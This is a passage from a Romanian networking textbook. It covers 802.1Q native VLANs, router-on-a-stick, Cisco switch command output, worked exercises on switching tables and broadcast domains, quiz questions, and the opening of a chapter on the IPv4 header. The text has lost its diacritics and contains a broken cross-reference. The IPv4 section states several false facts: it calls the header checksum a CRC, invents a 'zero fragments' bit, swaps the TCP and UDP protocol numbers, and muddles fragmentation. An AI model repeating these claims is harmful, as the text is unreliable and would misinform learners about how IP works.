lungimea maxim admisibil. Acestea sunt denumite cadre baby giant, switchurile raportnd astfel de cadre drept erori sau cadre prea mari. Pentru a rezolva aceast problem, switchurile trebuie s neleag standardul IEEE 802.3ac, ce extinde lungimea maxim a cadrului Ethernet la 1522 octei. Standardul 802.1Q introduce conceptul de VLAN nativ. Cadrele ce aparin acestui VLAN nu sunt modificate cnd sunt transportate pe o legtur de trunchi. VLAN-urile native mai sunt cunoscute sub numele de VLAN-uri de management. Cnd se configureaz 802.1Q pe o legtur de trunchi, trebuie configurat acelai VLAN nativ n ambele pri ale trunchiului. Implicit, VLAN-ul nativ este VLAN 1, iar toate porturile sunt n acest VLAN cnd switchul este pornit. VLAN-ul nativ este utilizat pentru tot traficul nemarcat primit pe o legtur trunchi, configurat cu 802.1Q. Aceast opiune este dorit n special numai pentru a asigura comunicaia direct, fr modificarea cadrelor, ntre porturile capabile de 802.1Q i cele mai vechi 802.3. Totui, n toate celelalte cazuri, poate deveni foarte duntoare (VLAN hopping), deoarece cadrele asociate cu VLAN-ul nativ i pierd nu numai marcajul, identificatorul, ci i clasa de prioritate (biii de prioritate) cnd sunt transportate pe o legtur 802.1Q. Din aceste motive pierderea mijloacelor de identificare i de clasificare folosirea VLAN-ului nativ ar trebui evitat. n cazurile n care acest lucru nu poate fi fcut, ntotdeauna se alege un VLAN nefolosit, diferit de cel implicit, pentru VLAN-ul nativ al tuturor legturilor trunchi. Pentru a exemplifica lucrurile menionate pn acum, se consider figura de mai jos. Staia A ce se afl conectat pe portul A al switchului 1 (S1), dorete s trimit un pachet staiei B, ce se afl conectat pe portul B al switchului 3 (S3). Legturile de trunchi au VLANurile native configurate astfel: legtura dintre S1 i S2 este configurat cu VLAN nativ 100, iar legtura dintre S2 i S3 este configurat cu VLAN nativ 200. Ambele staii de afl n VLAN 200.

2-19: Folosirea VLAN-ului nativ nainte de descrierea efectiv a cadrelor ce sunt trimise ntre cele dou staii, cum este organizat tabela de comutare a switchului S1? Aceasta va fi organizat pe seciuni separate pentru fiecare VLAN. Cu alte cuvinte, fiecare asociere din tabele de comutare, pe lng perechea <adresa_MAC-port>, va avea specificat i VLAN-ul cruia i aparine. VLAN Interfa/port Adres MAC 200 A MAC A 300 C MAC C 200 D MAC B 2-20: Tabela de comutare a switchului S1

82 | R e e l e L o c a l e

Dup ce staia A afl toate informaiile necesare pentru construirea pachetului de date, l transmite, acesta ajungnd pe portul A al switchului S1. Switchul S1 citete adresa MAC destinaie i verific tabela de comutare pentru o eventual asociere. Aa cum se observ i n tabelul de mai sus, pachetul va trimis pe portul D al switchului S1. Dar, nainte de trimiterea pachetului, S1 va trebui s adauge informaia de nivel doi (VLANID), pe baza creia switchul S2 va ti crui VLAN s trimit cadrul. Se observ, ca dac VLAN-ul nativ este diferit de VLAN-ul din care face parte staia ce transmite, switchul ce primete cadrul va trebui sa adauge identificatorul de VLAN pentru pachetul respectiv. Cnd pachetul este primit de switchul S2, acesta va urma aceeai pai de decizie, n schimb, va observa c VLAN-ul nativ al legturii de trunchi pe care trebuie s transmit cadrul este acelai cu cel al staiei ce a transmis cadrul respectiv (staia A). n urma acestui lucru, identificatorul de VLAN este ters i pachetul este trimis switchului S3, ce l va trimite mai departe staiei B. Succesiunea de pachete este urmtoarea: De la staia A la switchul S1: MAC destinaie MAC surs Lungime/Tip Date CRC MAC B MAC A 0x0800 X X De la switchul S1 la switchul S2: MAC B MAC A 0x8100 De la switchul S2 la switchul S3: MAC B MAC A De la switchul S3 la staia B: MAC B MAC A

200

0x0800

0x0800

0x0800

2.4 Rutare ntre VLAN-uri


Staiile dintr-un VLAN fac parte din domeniul de broadcast definit de VLAN-ul respectiv, putnd comunica ntre ele. VLAN-urile partiioneaz reeaua i separ traficul de nivel doi, astfel nct dac dorim ca dou staii din VLAN-uri diferite s comunice ntre ele este nevoie de un dispozitiv de nivel trei i anume un router. Deoarece pentru fiecare VLAN se utilizeaz de obicei o adres de reea, comunicaia ntre VLAN-uri ar fi imposibil fr utilizarea unui router. Pentru aceasta se poate folosi un router cu o interfa pentru fiecare VLAN, metod ns foarte costisitoare pentru un numr mare de VLAN-uri i rar folosit, sau un router cu o interfa care suport 802.1Q, interfa ce va fi conectat la un port de trunking. Pentru un numr mic de VLAN-uri (dou sau maxim trei) se poate folosi un router cu dou sau trei interfee Ethernet (Fast Ethernet), aa cum se arat n figura de mai jos. Fiecare legtur a switchului cu routerul reprezint o legtur de acces, rutarea ntre VLAN-uri fiind o rutare clasic, fiecare VLAN fiind vzut ca o reea separat.

83 | R e e l e E t h e r n e t

2-21: Router conectnd patru VLAN-uri, folosind interfee dedicate ns, dac numrul VLAN-urilor crete, aceast metod este cu adevrat costisitoare din punct de vedere al costului routerului. n schimb, putem configura o interfa Ethernet sau Fast Ethernet a routerului pentru suport 802.1Q. n loc s se foloseasc interfee pentru fiecare VLAN, se poate utiliza doar o singur interfa a routerului ce va crea o legtur de trunchi ntre router i switch, routerul numindu-se n acest caz router-on-a-stick, aa cum se arat n figura de mai jos. Interfaa de trunchi va fi mprit n subinterfee, fiecrei subinterfee atribuindu-i-se o adres IP i o metod de trunchiere.

2-22: Router ce asigur comunicaia ntre VLAN-uri, folosind doar o singur interfa fizic (router on a stick). Not: Majoritatea routerelor nu suport trunking pe interfeele Ethernet, dei actualmente exist IOS (Internetwork Operating System) pentru modelele 2610 ce ofer acest lucru.

2.5 Rezumat
Dup cum s-a prezentat, Ethernet se bazeaz pe un mediu de tip partajat (shared-media), deci numai o singur staie poate transmite la un moment dat. Astfel, dac numrul nodurilor pe un segment crete, probabilitatea de apariie a coliziunilor se va mri. Domeniul de coliziune este acea zon dintr-o reea care va fi afectat de apariia unei coliziuni n interiorul ei. Reeaua local poate fi mprit n domenii de coliziune separate prin intermediul unor dispozitive din categoria switchurilor.

84 | R e e l e L o c a l e

Switchurile construiesc dinamic i menin o tabel de asocieri ntre adresele MAC i una din interfeele sale, numit tabel de comutare. Aceast tabel este construit pe baza adresei surs a cadrului primit pe unul dintre porturile switchului, n tabela de comutare fiind introdus asocierea <MAC_surs port_intrare>. Impactul redundanei asupra reelelor formate numai din switchuri este esenial. Pentru identificarea buclelor de nivel legtur de date i ntreruperea lor s-a dezvoltat protocolul numit STP - Spanning Tree Protocol, ce pornete de la construirea unui arbore de acoperire pe graful determinat de dispozitivele de interconectare i de conexiunile dintre acestea. O dezvoltare n domeniul interconectrii LAN-urilor este posibilitatea de separare a topologiei logice de topologia fizic, lucru realizat prin VLAN-uri (Virtul LAN). VLAN-urile mpart o reea bazat pe switchuri n domenii de broadcast separate, un lucru foarte important i necesar din cauz c switchurile de nivel doi mpart reeaua n domenii de colizune independente, neavnd niciun efect asupra domeniilor de broadcast. Un nou format pentru cadrele Ethernet (802.1Q) a fost introdus pentru a oferi o modalitate mai simpl de introducere a VLAN-urilor n organizaii.

2.6 Studiu de caz:


2.6.1 Comenzi pe switchuri Cisco
n acest studiu de caz se vor prezenta cteva output-uri de comenzi de pe switchurile Catalyst model 2950 . Dup cum se tie, switchurile nva dinamic adresele staiilor conectate la porturile lor. n figura de mai jos switchul A are trei astfel de adrese n tabela de comutare, staiile fiind conectate pe porturile 14, 16 i 17. Se observ patru intrri statice n tabela de comutare. Prima adres MAC este cea a switchului, adres ce face parte din spaiul de adrese fizice gestionat de Cisco1, iar celelalte trei sunt adrese MAC virtuale folosite de CatOS (Catalyst Operating System) pentru adresarea multicast.
SwitchA#show mac-address-table Mac Address Table ------------------------------------------Vlan Mac Address Type Ports ------------------------All 0008.219f.5e40 STATIC CPU All 0100.0ccc.cccc STATIC CPU All 0100.0ccc.cccd STATIC CPU All 0100.0cdd.dddd STATIC CPU 1 0004.4dbb.f220 DYNAMIC Fa0/14 1 0004.9a9d.56a0 DYNAMIC Fa0/16 1 0008.a326.13c4 DYNAMIC Fa0/17 Total Mac Addresses for this criterion: 7

Pentru afiarea doar a intrrilor dinamice se folosete comanda:


SwitchA#show mac-address-table dynamic Mac Address Table ------------------------------------------Vlan Mac Address Type Ports --------------------1 0004.4dbb.f220 DYNAMIC Fa0/14 1 0004.9a9d.56a0 DYNAMIC Fa0/16 1 0008.a326.13c4 DYNAMIC Fa0/17 Total Mac Addresses for this criterion: 3

-----

Fiecare adres nvat de switch este inut n tabela de comutare o anumit perioad de timp numit timp de mbtrnire (aging time), valoare implicit fiind de 300 de secunde.
SwitchB#show spanning-tree VLAN0001 Spanning tree enabled protocol ieee Root ID Priority 32768
1

http://standards.ieee.org/regauth/oui/oui.txt

85 | R e e l e E t h e r n e t
Address 0008.a327.8900 Cost 19 Port 6 (FastEthernet0/6) Hello Time 2 sec Max Age 20 sec Bridge ID Priority Address Hello Time Aging Time

Forward Delay 15 sec

32769 (priority 32768 sys-id-ext 1) 0008.219f.5e40 2 sec Max Age 20 sec Forward Delay 15 sec 300

Interface Role Sts Cost Prio.Nbr Type ---------------- ---- --- --------- -------- -------------------------------Fa0/4 Desg FWD 19 128.4 P2p Fa0/6 Root FWD 19 128.6 P2p Fa0/9 Desg FWD 19 128.9 P2p Fa0/12 Desg FWD 19 128.12 P2p

Mai sus este prezentat ieirea comenzii show spanning-tree. Aceast comand este util cnd se dorete aflarea rdcinii din propria reea, prioritatea i adresa MAC a acestuia. Totodat se observ costul portului prin care se conecteaz root bridge-ul la switch. Acesta are valoarea de 19, ceea ce indic faptul c switchul este conectat direct la root bridge pe portul 6. Valorile timpilor de trimite a cadrelor BPDU (default 2 sec.) i de trecere din starea de blocking n listening (Max Age) i apoi n learning i forwarding (Forward Delay) sunt la valorile implicite. Se observ aici rolul (port rdcin Fa0/6) i statusul fiecrui port de pe switch, toate cele patru fiind n starea de forwarding.
SwitchA#show mac-address-table aging-time Vlan Aging Time ------------300

Dac se dorete numai o scurt prezentarea a opiunilor STP se poate folosi comanda ceea ce indic numrul porturilor ce se afl n diferitele stri STP i VLAN-ul din care acestea fac parte. n ieirea de mai jos patru porturi sunt n starea de forwarding, n VLAN-ul 1.
show spanning-tree summary,
SwitchB#show spanning-tree summary Switch is in pvst mode Root bridge for: none EtherChannel misconfig guard is enabled Extended system ID is enabled Portfast Default is disabled PortFast BPDU Guard Default is disabled Portfast BPDU Filter Default is disabled Loopguard Default is disabled UplinkFast is disabled BackboneFast is disabled Pathcost method used is short Name Blocking Listening Learning Forwarding STP Active ---------------------- -------- --------- -------- ---------- ---------VLAN0001 0 0 0 4 4 ---------------------- -------- --------- -------- ---------- ---------1 vlan 0 0 0 4 4

Dac se dorete vizualizarea recalculrii topologiei de ctre STP i trecerea porturilor prin diferitele stri la schimbarea unei staii de pe un port al switchului pe altul, se poate folosi comanda:
SwitchB#debug spanning-tree events Spanning Tree event debugging is on SwitchB # 01:06:53: STP: VLAN0001 we are the spanning tree root SwitchB # 01:06:54: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/6, chann SwitchB # 01:06:57: set portid: VLAN0001 Fa0/6: new port id 8006 01:06:57: STP: VLAN0001 Fa0/6 -> listening SwitchB # 01:06:58: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/6, chanp SwitchB # 01:07:02: STP: VLAN0001 heard root 32768-0008.a327.8900 on Fa0/6 01:07:02: supersedes 32769-0008.219f.5e40 01:07:02: STP: VLAN0001 new root is 32768, 0008.a327.8900 on port Fa0/6, cost 19 01:07:02: STP: VLAN0001 sent Topology Change Notice on Fa0/6 SwitchB #

86 | R e e l e L o c a l e
01:07:12: STP: VLAN0001 Fa0/6 -> learning SwitchB # 01:07:27: STP: VLAN0001 sent Topology Change Notice on Fa0/6 01:07:27: STP: VLAN0001 Fa0/6 -> forwarding

La pornirea switchului toate porturile se afl n VLAN-ul 1 pn la o nou atribuire. VLANurile 1002 i 1004 sunt rezervate pentru reelele FDDI (Fiber-Distributed Data Interface), n timp ce VLAN-urile 1003 i 1005 pentru reelele Token Ring.
SwitchC#show vlan brief VLAN Name Status Ports ---- -------------------------------- --------- ------------------------------1 default active Fa1/0/1, Fa1/0/2, Fa1/0/3 Fa1/0/4, Fa1/0/5, Fa1/0/6 Fa1/0/7, Fa1/0/8, Fa1/0/9 Fa1/0/10, Fa1/0/11, Fa1/0/12 Fa1/0/13, Fa1/0/14, Fa1/0/15 Fa1/0/16, Fa1/0/17, Fa1/0/18 Fa1/0/19, Fa1/0/20, Fa1/0/21 Fa1/0/22, Fa1/0/23, Fa1/0/24 Gi1/0/1, Gi1/0/2, Gi1/1/1 1002 fddi-default act/unsup 1003 trcrf-default act/unsup 1004 fddinet-default act/unsup 1005 trbrf-default act/unsup

Dup crearea VLAN-urilor i a legturilor de acces se observ adugarea acestora n tabel:


SwitchC(config)#interface FastEthernet 1/0/14 SwitchC(config-if)#switchport mode access SwitchC (config-if)#switchport access vlan 2 SwitchC #show vlan brief VLAN Name Status Ports ---- -------------------------------- --------- ------------------------------1 default active Fa1/0/1, Fa1/0/2, Fa1/0/3 Fa1/0/4, Fa1/0/5, Fa1/0/6 Fa1/0/7, Fa1/0/8, Fa1/0/9 Fa1/0/10, Fa1/0/11, Fa1/0/12 Fa1/0/13, Fa1/0/15, Fa1/0/17 Fa1/0/18, Fa1/0/19, Fa1/0/20 Fa1/0/21, Fa1/0/22, Fa1/0/23 Fa1/0/24, Gi1/0/1, Gi1/0/2 Gi1/1/1, Gi1/1/2 2 VLAN0002 active Fa1/0/14 3 VLAN0003 active Fa1/0/16

Not: Dac se atribuie un port unui VLAN ce nu exist, portul este inactiv pn ce se creeaz VLAN-ul respectiv. Numai porturile configurate ca porturi de acces sunt afiate.
SwitchC (config)#int fastEthernet 1/0/6 SwitchC (config-if)#switchport mode trunk SwitchC (config-if)#switchport trunk encapsulation dot1q SwitchC #show interface fastEthernet 1/0/6 switchport Name: Fa1/0/6 Switchport: Enabled Administrative Mode: dynamic auto Operational Mode: down Administrative Trunking Encapsulation: dot1q Negotiation of Trunking: On Access Mode VLAN: 1 (default) Trunking Native Mode VLAN: 1 (default) <...>

Dup crearea legturilor de trunchi, interfeele pe care s-au configurat metodele de trunchiere vor fi marcate. Aceast comand afieaz: numele portului, modul administrativ i operaional al portului, metoda de ncapsulare, modul de negociere, toate opiunile fiind n starea implicit, cu excepia metodei de trunchiere. Modul implicit pentru porturile unui switch este dynamic auto. Dac interfaa vecin cu care se conecteaz un port de pe switch suport trunchiere i este configurat n modul de trunchiere, legtura dintre cele dou porturi devine una de trunchi. Implicit, legturile de trunchi negociaz metodele de

87 | R e e l e E t h e r n e t

ncapsulare, metod gestionat de DTP Dynamic Trunking Protocol. Dac interfaa vecin suport ISL i 802.1Q i ambele interfee sunt configurate s negocieze metoda de ncapsulare, pe legtura de trunchi se va folosi ISL.

2.6.2 ncapsularea pachetelor: dot1q

Pentru topologia din imagine se definesc VLAN-uri astfel: Toate staiile conectate pe port impar vor fi n VLAN 100, cele pe port par n VLAN 200 Legtura Sw1-Sw4 va fi trunchi cu VLAN nativ 100, restul legturilor vor fi configurate ca i legturi de trunchi cu VLAN nativ 200
1. Scriei toate antetele cadrelor ce vor apare n cazul n care staia C i trimite un singur cadru staiei F. 2. Cte domenii de coliziune i cte domenii de broadcast sunt n toat topologia? 3. Toat reeaua a fost reiniializat. Sunt trimise 3 pachete n reea: Staia A trimite un pachet ctre staia C, apoi un pachet ctre D. F trimite un pachet ctre A. Ce intrri vor fi n tabela de comutare a switchului Sw2?

Rezolvare: 1. Succesiunea de pachete este urmtoarea: De la staia C la switchul Sw2:


MAC destinaie MAC F MAC surs MAC C Lungime/Tip 0x0800 Date X X CRC

De la switchul Sw2 la switchul Sw1:


MAC F MAC C 0x8100 100 0x0800 X X

De la switchul Sw1 la switchul Sw4:


MAC F MAC C 0x0800 X X

De la switchul Sw4 la staia F:


MAC F MAC C 0x0800 X X

88 | R e e l e L o c a l e

2a. Domeniile de coliziune sunt mrginite de switchuri i routere. Fiecare port al switchului se afl n alt domeniu de coliziune. Pentru legturile full-duplex nu vor mai exista coliziuni, astfel porturile switchului negociate n full-duplex nu vor fi numrate ca domenii distincte de coliziune. n cazul problemei de fa nu sunt precizate porturile ce ajung n starea half-duplex, astfel se vor considera cele dou cazuri extreme: toate interfeele din reea sunt half-duplex i cazul al doilea n care toate interfeele sunt full-duplex. Dac toate porturile sunt half-duplex n reea vor exista 12 domenii de coliziune:
{Sw4(7), E}; {Sw3(7), D}; {Sw3(8), E}; {Sw1(7), A}; {Sw1(8), B}; {Sw2(7), C}; {Sw1(1), Sw2(1)}; {Sw1(2), Sw3(1)}; {Sw1(4), Sw4(4)}; {R1(e0), Sw2(24)}; {R1(e1), X}; {R2(e1), Z}. Reeaua dintre routerele R1 i R2 este o reea punct-la-punct n care nu pot exista

coliziuni. Pentru cel de al doilea caz n care toate legturile sunt full-duplex nu va exista niciun domeniu de coliziune n reea. 2b. Domeniile de difuzare sunt conectate doar de routere. Prin definirea de VLAN-uri i switchurile limiteaz domenii de broadcast. n cazul topologiei singura modalitate de a asigura conectivitatea ntre VLAN 100 i VLAN 200 este configurarea routerului R1 ca router-on-astick. Pentru aceasta legtura dintre Sw2 i R1 trebuie s transporte ambele VLAN-uri. Problematica domeniilor de broadcast se aplic doar reelelor multiacces, astfel pentru reeaua dintre R1 i R2 (legtura serial) nu va exista un domeniu de difuzare. Cele 4 domenii de broadcast sunt:
{R1(e0), A, C, D, F, Sw1(1), Sw1(2), Sw1(4), Sw1(7), Sw2(1), Sw2(24), Sw3(1), Sw3(7), Sw4(4), Sw4(7)} {R1(e0), B, E, Sw1(1), Sw1(2), Sw1(4), Sw1(8), Sw2(1), Sw2(24), Sw3(8), Sw4(4)} {R1(e1), X} {R2(e0, Z} Sw2(7), Sw3(1),

3. Deoarece reeaua a fost reiniializat, tabelele de comutare ale switchurilor nu au nicio intrare. Cnd staia A va trimite un pachet ctre staia C, switchul Sw1, avnd tabela de comutare goal, va trimite pachetul pe toate porturile mai puin cel pe care a sosit. Dup cum se tie switchurile i populeaz tabelele de comutare pe baza adreselor MAC surs a cadrelor primite. Astfel, switchul Sw1, nainte de trimiterea pachetului primit de la staia A, va scrie n tabela de comutare asocierea <MAC A port 7>. La fel, switchul Sw4 va scrie n tabela de comutare asocierea <MAC A port 4>. Cnd pachetul va ajunge la switchul Sw2, acesta va proceda similar, trimindu-l pe toate porturile mai puin cel pe care a venit, populnd totodat tabela de comutare cu asocierea <MAC A port 1>. Cnd staia A va trimite un pachet ctre staia D, procesul de nvare i de trimitere este similar. n acest caz, switchul Sw2 nu va mai scrie n tabela de comutare asocierea MAC surs port (<MAC A port 1>), aceast intrare existnd deja. Cnd staia F va trimite un pachet ctre staia A, switchul Sw4 l va primi, verificnd adresa destinaie, pe baza creia va lua o decizie. Cum adresa MAC destinaie este cea a lui A (MAC A) i cum n tabela de comutare exist o intrare de tipul < MAC A port 4>, switchul Sw4 va trimite pachetul pe portul 4, acesta ajungnd la switchul Sw1. Switchul Sw1 va verifica tabela de comutare i va descoperi intrarea <MAC A port 7>, ceea ce l determin s trimit pachetul pe portul 7, unde exist staia A. Astfel, tabela de comutare a switchului Sw2 va avea n urma trimiterii celor 3 pachete o singur intrare i anume <MAC A port 1>.
Adres MAC MAC A Port 1

2-23: Tabela de comutare a switchului Sw2

89 | R e e l e E t h e r n e t

2.7 Realizarea unui bridge ntre conexiuni n Windows Server 2008


n unele cazuri i topologii este de dorit s se combine mai multe conexiuni de reea de pe acelai calculator astfel nct Windows s le trateze ca pe singur reea iar membrii reelelor s poat comunica ntre ei perfect transparent. De asemenea, aceast tehnic presupune i includerea tuturor reelelor aflate n bridging ntr-un singur domeniu de broadcast. Un alt avantaj al bridging-ului este faptul c pot fi combinate reele de tehnologii diferite (wireless, Ethernet, chiar i Token Ring), atta timp ct echipamentul care realizeaz bridgingul deine interfeele corespunztoare n fiecare reea.

2-24: Realizarea unui bridge ntre mai multe conexiuni de reea Tehnica de realizare a unui brigde ntre mai multe conexiuni de reea, pe Windows Server 2008 se reduce la selectarea a dou sau a mai multor conexiuni de reea din Network Connections i la alegerea opiunii de Bridge Connections din meniul contextual obinut prin clic dreapta. Pe un calculator poate fi definit un singur bridge, dar acesta poate conine oricte reele. Bridge-ul poate fi eliminat n orice moment din interfata Network Connections printr-un clic dreapta pe el si alegerea opiunii de tergere. n mod asemntor, o conexiune poate fi eliminat dintr-un bridge. Atenie! Realizarea unui bridge ntre o conexiune spre o reea local i una spre Internet este posibil dar trebuie inut cont de faptul c toate staiile din reeaua local vor trebui s poat avea acces la Internet i s primeasc adrese din acelai subnet ca i adresa extern a gateway-ului, ceea ce nu e ntotdeauna posibil din partea ISP-ului. De asemenea, trebuie avut n vedere i faptul c expunerea staiilor din reeaua local n Internet poate reprezenta un risc de securitate.

90 | R e e l e L o c a l e

ntrebri
1. Care este rezultatul segmentrii unei reele cu un switch ? Crete numrul domeniilor de coliziune Scade numrul domeniilor de coliziune Crete numrul domeniilor de broadcast Scade numrul domeniilor de broadcast

2. Care este numrul minim de adrese MAC asociate cu un switch de nivel doi? Una Dou Attea cte porturi exist Niciuna 3. Cte domenii de broadcast sunt n figura de mai jos ?

1 2 3 4

4. Ce nivel din stiva OSI este folosit de ctre switchurile Ethernet pentru a lua o decizie ? Nivelul 1 Nivelul 2 Nivelul 3 Nivelul 4

5. Pe baza crei informaii un switch Ethernet poate lua o decizie ? adresa IP adresa MAC destinaie adresa CAM adresa MAC surs

6. Ce metod de comutare citete primii 64 de octei ai cadrului, nainte de trimitearea acestuia?

91 | R e e l e E t h e r n e t

fast-forward cut-through fragment-free store and forward

7. Care dintre urmtoarele afirmaii este adevrat despre VLAN-uri? Trebuie s existe cel puin dou VLAN-uri definite ntr-o reea Toate VLAN-urile sunt configurate pe porturile cele mai rapide, i implicit, informaia se transmite celorlalte switchuri din reea Reduc dimensiunea domeniului de broadcast VLAN-urile mresc numrul de switchuri dintr-o reea 8. Care dintre urmtoarele afirmaii este adevrat cu privin la comutarea de nivel doi (alegei dou variante)? Un switch este un hub cu mai multe porturi Un switch este o punte cu mai multe porturi Switchurile nva adresele IP ale cadrelor i iau decizii pe baza acestora Switchurile nva adresele MAC, examinnd cmpul surs al fiecrui cadru 9. Switchul dumneavoastr trebuie s fie setat ca root bridge. Care dintre urmtoarele posibiliti va face acest switch s devin root bridge? Setarea adresei MAC a switchului la o valoare minim Setarea protocolului STP la o valoare minim Setarea prioritii switchului la o valoare maxim Setarea prioritii switchului la o valoare minim 10. Un switch Ethernet dispune de o tabel de comutare ca cea din figura de mai jos. Ce decizie va lua switchul dac va primi cadrul cu adresa destinaie 00-00-3D-1F-11-03 i adresa surs 00-00-3D-1F-11-01: Staia Port 1 Port 2 Port 3 Port 4 00-00-3D-1F-11-01 X 00-00-3D-1F-11-02 00-00-3D-1F-11-03 X X Va trimite cadrul pe toate porturile Va trimite cadrul pe toate porturile, cu excepia portului 3 Va ignora cadrul Va trimite cadrul pe portul 1

92 | R e e l e L o c a l e

3 Adresarea IP
Ce se nva din acest capitol?
Specificaiile protocolului IP Noiuni de subnetting Funcionarea protocolului ARP Funcionarea protocolului DHCP Configurri de reea n Linux Configurri de reea n Windows

Cine este...
Vint Cerf este considerat printele Internetului". Dup ce a absolvit Universitatea Stanford, a lucrat la IBM, iar apoi s-a ntors la Universitate la UCLA, unde a conectat primele dou noduri a ARPAnet (predecesorul Internetului). A proiectat protocolul IP i a contribuit la dezvoltarea protocolului TCP. Din 2005, Vint Cerf lucreaz la Google ca vicepreedinte.

3.1 Prezentarea protocolului IP


Internetul a devenit o noiune familiar pentru societatea din prezent. Cu toate acestea, n urm cu 20 de ani prea puini vizionari au intuit dezvoltarea pe care acesta urma s o cunoasc. Multe dintre conceptele fundamentale ale infrastructurii IP de azi au fost definite n acea perioad, precum formatul adresei IP, protocolul ARP, VLSM. Protocolul IP trebuia s rspund schimbrii paradigmei de comunicaie de la o reea cu cteva locaii, precum reeaua DARPA, la o reea cu mii de locaii cum era privit Internetul la mijlocul anilor `80. Apariia calculatoarelor personale i extinderea reelei globale de comunicaie dincolo centrele universitare au redefinit Internetul ca o reea cu sute de milioane de noduri. Versiunea 4 a protocolului IP a reuit s rspund att cerinelor de ierarhizare a spaiului de adrese impus de reelele anilor `80, ct i cerinelor de scalabilitate ale Internetului actual. Pentru asigurarea scalabilitii au fost standardizate protocoale menite s adreseze rutarea dinamic, translatarea de adrese, tunelarea pachetelor, etc. Versiunea 6 a protocolului IP a fost iniial proiectat s asigure un spaiu de adrese mult mai generos, dar i un numr de servicii ce lipsesc din IPv4, precum QoS sau prelucrarea mai rapid a pachetelor. Cu toate acestea, prelucrarea suplimentar presupus de un antet de 40 de octei fa de unul de 20, precum i popularitatea deosebit de care se bucur IPv4 fac ca ponderea reelelor IPv6 n structura actual a Internetului s rmn de sub 5%. Prin urmare, pe parcursul acestei cri, prin protocolul IP se va subnelge doar referinrea la IPv4.

3.1.1 Structura antetului IPv4


Orice pachet ajuns la nivelul reea este rempachetat, adugndu-i-se antetul IP. n Error! Reference source not found. sunt prezentate cmpurile ce compun antetul IP, urmnd apoi o scurt descriere a acestora.

93 | A d r e s a r e a I P
0 31 vers 4 lung. 8 TOS 16 Lungime total flags Protocol Adresa IP surs Adresa IP destinaie Opiuni (dac e cazul) Date ... decalaj 19

identificator fragment antetului TTL

suma de control a

3-1: Structura antetului IP Din analiza antetului se identific nu mai puin de 10 cmpuri n afara celor ce precizeaz adresele destinaie i surs. De-a lungul timpului semnificaia acestor cmpuri a fost redefinit. Cmpul versiune stabilete versiunea IP folosit, antetul de IPv6 diferind de antetul IPv4. Lungimea antetului este precizat explicit n cel de al doilea cmp n vederea flexibilizrii dezvoltrilor ulterioare ale standardului IPv4, prin setri fcute n cmpul de opiuni aflat n finalul antetului IP. Totui vasta majoritate a traficului n Internet folosete antete de lungime fix, de 20 de octei, performanele de referin ale echipamentelor de reea (precum numrul de pachete comutate pe secund) fiind calculate pentru trafic IP cu antet de lungime fix. Cmpul TOS (Type of Service) este folosit pentru implementarea unor politici distincte pentru tipuri de trafic diferit. Cea mai important utilizare a sa este pentru identificarea i prioritizarea traficului de voce. Cmpul de lungime total este exprimat pe 16 bii, rezultnd o dimensiune maxim a cadrelor IP de 65535 de octei. Dup cum se poate observa din capitolul 7 *ref+??, nu exist o dimensiune maxim pentru segmentele TCP, cea ce nseamn c segmentele ce depesc 64 KB vor fi fragmentate la nivelul reea. Dei dimensiunea maxim prevzut de standard este de 64KB, impunerea Ethernetului ca tehnologie dominant pentru reelele locale are drept consecin faptul c traficul TCP, dup ce este segmentat n pachete de 64 KB la nivelul 4, va mai fi nc odat segmentat n cadre de 1500 octei la nivelul 3. Pentru a reduce complexitatea prelucrrilor asupra pachetelor, implementrile curente ale stivei TCP/IP evit s realizeze dou operaii de fragmentare, impunnd ca dimensiune maxim a cadrelor IP 1500 B i nu 64 KB. Mecanismul de secveniere a cadrelor reprezint principalul mecanism de control al fluxului n TCP; cu toate acestea, se observ c un mecanism de secveniere exist i la nivelul antetului IP. Cmpul identificator stabilete numrul datagramei i este folosit n conjuncie cu cmpul decalaj fragment pentru a reordona cadrele IP ajunse ntr-o alt ordine dect au fost transmise. Ambele cmpuri sunt n general stabilite de staia ce emite pachetul, dar dac pe calea ctre destinaie mai are loc o fragmentare a pachetului valorile lor vor fi modificate. Biii de opiune sunt folosii tot pentru a controla fragmentarea. Spre exemplu, bitul 50 din antetul IP este denumit bitul M sau bitul more fragments. Acesta indic faptul c a avut loc o fragmentare i c pachetul de fa nu este ultimul din cadrul segmentului TCP. Bitul 51 este denumit Z sau bitul zero fragments i are rolul de a semnaliza c pachetul actual este ultimul (sau singurul) din segmentul TCP. Un cmp important din antetul IP este TTL (Time To Live), cmp ce definete numrul maxim de routere prin care un pachet poate s treac. Principala sa funcie este de a evita

94 | R e e l e L o c a l e

ciclarea la infinit a unor pachete IP n cazul unor topologii cu bucle de rutare. O utilizare mai recent a acestui cmp permite unui ISP s controleze conectarea unei staii, pentru o legtur dat. De exemplu, un ISP poate ntrerupe conectivitatea atunci cnd pe o legtur n loc de o staie se conecteaz neautorizat un router ce are n spate o ntreag reea local. Marea majoritate a traficului n Internet cltorete ntre surs i destinaie pstrnd aceleai valori pentru cmpurile antetului IP, sigurul cmp modificat fiind cmpul TTL. Dei operaia de decrementare a valorii cmpului TTL este una simpl, ea determin o ncrcare semnificativ a routerului, deoarece n urma modificrii acestui cmp va trebui s fie recalculat i suma de control a antetului. Suma de control se bazeaz pe un algoritm de redundan ciclic (un algoritm CRC) ce are proprietatea c se poate verifica uor, dar se calculeaz mult mai greu (verificarea se poate efectua fr a calcula explicit valoarea sumei de control). Cmpul protocol specific ce protocol a fost folosit pentru ncapsularea de nivel transport. n figura de mai jos sunt prezentate cteva dintre valorile cele mai ntlnite ale acestui cmp. Valorile 4 i 41 sunt folosite n cazul tunelrii iar valoarea 59 este folosit pentru a indica c nu mai exist un alt antet, o astfel de conexiune fiind numit IP raw. Valoare
1 4 6 17 41 59

Protocol ICMP IPv4 UDP TCP IPv6 Fr antet

3-2: Valorile cmpului protocol pentru antetul IP

3.1.2 Structura antetului IPv6


